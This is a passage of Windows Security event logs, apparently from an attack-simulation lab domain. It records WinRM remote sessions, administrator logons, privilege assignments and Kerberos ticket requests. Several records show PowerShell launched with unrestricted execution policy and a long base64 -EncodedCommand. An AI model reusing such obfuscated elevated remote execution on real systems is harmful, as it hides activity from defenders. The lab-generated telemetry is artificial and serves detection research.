	Process Command Line:	PowerShell  -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253363
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1A4EEB

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x137c
	New Process Name:	C:\Windows\System32\cmd.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x11e0
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAASgBnAEIAagBBAEcAZwBBAFkAdwBCAHcAQQBDADQAQQBZAHcAQgB2AEEARwAwAEEASQBBAEEAMgBBAEQAVQBBAE0AQQBBAHcAQQBEAEUAQQBJAEEAQQArAEEAQwBBAEEASgBBAEIAdQBBAEgAVQBBAGIAQQBCAHMAQQBBAG8AQQBKAEEAQgBsAEEASABnAEEAWgBRAEIAagBBAEYAOABBAGQAdwBCAHkAQQBHAEUAQQBjAEEAQgB3AEEARwBVAEEAYwBnAEIAZgBBAEgATQBBAGQAQQBCAHkAQQBDAEEAQQBQAFEAQQBnAEEAQwBRAEEAYQBRAEIAdQBBAEgAQQBBAGQAUQBCADAAQQBDAEEAQQBmAEEAQQBnAEEARQA4AEEAZABRAEIAMABBAEMAMABBAFUAdwBCADAAQQBIAEkAQQBhAFEAQgB1AEEARwBjAEEAQwBnAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBrAEEARwBVAEEAZQBBAEIAbABBAEcATQBBAFgAdwBCADMAQQBIAEkAQQBZAFEAQgB3AEEASABBAEEAWgBRAEIAeQBBAEYAOABBAGMAdwBCADAAQQBIAEkAQQBMAGcAQgBUAEEASABBAEEAYgBBAEIAcABBAEgAUQBBAEsAQQBCAEEAQQBDAGcAQQBJAGcAQgBnAEEARABBAEEAWQBBAEEAdwBBAEcAQQBBAE0AQQBCAGcAQQBEAEEAQQBJAGcAQQBwAEEAQwB3AEEASQBBAEEAeQBBAEMAdwBBAEkAQQBCAGIAQQBGAE0AQQBkAEEAQgB5AEEARwBrAEEAYgBnAEIAbgBBAEYATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBQAEEASABBAEEAZABBAEIAcABBAEcAOABBAGIAZwBCAHoAQQBGADAAQQBPAGcAQQA2AEEARgBJAEEAWgBRAEIAdABBAEcAOABBAGQAZwBCAGwAQQBFAFUAQQBiAFEAQgB3AEEASABRAEEAZQBRAEIARgBBAEcANABBAGQAQQBCAHkAQQBHAGsAQQBaAFEAQgB6AEEAQwBrAEEAQwBnAEIASgBBAEcAWQBBAEkAQQBBAG8AQQBDADAAQQBiAGcAQgB2AEEASABRAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBBAHUAQQBFAHcAQQBaAFEAQgB1AEEARwBjAEEAZABBAEIAbwBBAEMAQQBBAEwAUQBCAGwAQQBIAEUAQQBJAEEAQQB5AEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAGQAQQBCAG8AQQBIAEkAQQBiAHcAQgAzAEEAQwBBAEEASQBnAEIAcABBAEcANABBAGQAZwBCAGgAQQBHAHcAQQBhAFEAQgBrAEEAQwBBAEEAYwBBAEIAaABBAEgAawBBAGIAQQBCAHYAQQBHAEUAQQBaAEEAQQBpAEEAQwBBAEEAZgBRAEEASwBBAEYATQBBAFoAUQBCADAAQQBDADAAQQBWAGcAQgBoAEEASABJAEEAYQBRAEIAaABBAEcASQBBAGIAQQBCAGwAQQBDAEEAQQBMAFEAQgBPAEEARwBFAEEAYgBRAEIAbABBAEMAQQBBAGEAZwBCAHoAQQBHADgAQQBiAGcAQgBmAEEASABJAEEAWQBRAEIAMwBBAEMAQQBBAEwAUQBCAFcAQQBHAEUAQQBiAEEAQgAxAEEARwBVAEEASQBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEUAQQBYAFEAQQBLAEEAQwBRAEEAWgBRAEIANABBAEcAVQBBAFkAdwBCAGYAQQBIAGMAQQBjAGcAQgBoAEEASABBAEEAYwBBAEIAbABBAEgASQBBAEkAQQBBADkAQQBDAEEAQQBXAHcAQgBUAEEARwBNAEEAYwBnAEIAcABBAEgAQQBBAGQAQQBCAEMAQQBHAHcAQQBiAHcAQgBqAEEARwBzAEEAWABRAEEANgBBAEQAbwBBAFEAdwBCAHkAQQBHAFUAQQBZAFEAQgAwAEEARwBVAEEASwBBAEEAawBBAEgATQBBAGMAQQBCAHMAQQBHAGsAQQBkAEEAQgBmAEEASABBAEEAWQBRAEIAeQBBAEgAUQBBAGMAdwBCAGIAQQBEAEEAQQBYAFEAQQBwAEEAQQBvAEEASgBnAEEAawBBAEcAVQBBAGUAQQBCAGwAQQBHAE0AQQBYAHcAQgAzAEEASABJAEEAWQBRAEIAdwBBAEgAQQBBAFoAUQBCAHkAQQBBAD0APQA=

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253362
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1A596A

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253361
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1A596A
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{6BF77121-DCD4-333D-F6E0-78FD10C725A8}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253360
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{6BF77121-DCD4-333D-F6E0-78FD10C725A8}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253359
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{6BF77121-DCD4-333D-F6E0-78FD10C725A8}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253358
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253357
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1A4EEB

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1294
	New Process Name:	C:\Windows\System32\conhost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x11e0
	Creator Process Name:	C:\Windows\System32\winrshost.exe
	Process Command Line:	\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=253356
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1A4EEB

Process Information:
	New Process ID:		0x11e0
	New Process Name:	C:\Windows\System32\winrshost.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\High Mandatory Level
	Creator Process ID:	0x1e0
	Creator Process Name:	C:\Windows\System32\svchost.exe
	Process Command Line:	C:\Windows\system32\WinrsHost.exe -Embedding

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253355
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1A4EEB

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253354
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1A4EEB
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{6BF77121-DCD4-333D-F6E0-78FD10C725A8}

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Workstation Name:	WIN-DC-725
	Source Network Address:	-
	Source Port:		-

Detailed Authentication Information:
	Logon Process:		Advapi  
	Authentication Package:	Negotiate
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4648
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253353
Keywords=Audit Success
Message=A logon was attempted using explicit credentials.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4
	Logon GUID:		{00000000-0000-0000-0000-000000000000}

Account Whose Credentials Were Used:
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon GUID:		{6BF77121-DCD4-333D-F6E0-78FD10C725A8}

Target Server:
	Target Server Name:	localhost
	Additional Information:	localhost

Process Information:
	Process ID:		0x534
	Process Name:		C:\Windows\System32\svchost.exe

Network Information:
	Network Address:	-
	Port:			-

This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials.  This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4769
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Service Ticket Operations
OpCode=Info
RecordNumber=253352
Keywords=Audit Success
Message=A Kerberos service ticket was requested.

Account Information:
	Account Name:		Administrator@ATTACKRANGE.LOCAL
	Account Domain:		ATTACKRANGE.LOCAL
	Logon GUID:		{6BF77121-DCD4-333D-F6E0-78FD10C725A8}

Service Information:
	Service Name:		WIN-DC-725$
	Service ID:		ATTACKRANGE\WIN-DC-725$

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810000
	Ticket Encryption Type:	0x12
	Failure Code:		0x0
	Transited Services:	-

This event is generated every time access is requested to a resource such as a computer or a Windows service.  The service name indicates the resource to which access was requested.

This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event.  The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.

Ticket options, encryption types, and failure codes are defined in RFC 4120.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4768
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Kerberos Authentication Service
OpCode=Info
RecordNumber=253351
Keywords=Audit Success
Message=A Kerberos authentication ticket (TGT) was requested.

Account Information:
	Account Name:		Administrator
	Supplied Realm Name:	ATTACKRANGE
	User ID:			ATTACKRANGE\Administrator

Service Information:
	Service Name:		krbtgt
	Service ID:		ATTACKRANGE\krbtgt

Network Information:
	Client Address:		::1
	Client Port:		0

Additional Information:
	Ticket Options:		0x40810010
	Result Code:		0x0
	Ticket Encryption Type:	0x12
	Pre-Authentication Type:	2

Certificate Information:
	Certificate Issuer Name:		
	Certificate Serial Number:	
	Certificate Thumbprint:		

Certificate information is only provided if a certificate was used for pre-authentication.

Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253350
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1A4E8B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253349
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D1B0

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=253348
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x19D404

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=253347
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1A4E8B

Privileges:		SeSecurityPrivilege
			SeTakeOwnershipPrivilege
			SeLoadDriverPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeEnableDelegationPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
03/11/2021 11:50:41 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=253346
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NT AUTHORITY\NETWORK SERVICE
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E4

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Impersonation

New Logon:
	Security ID:		ATTACKRANGE\Administrator
	Account Name:		Administrator
	Account Domain:		ATTACKRANGE
	Logon ID:		0x1A4E8B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{6BF77121-DCD4-333D-F6E0-78FD10C725A8}

Process Information:
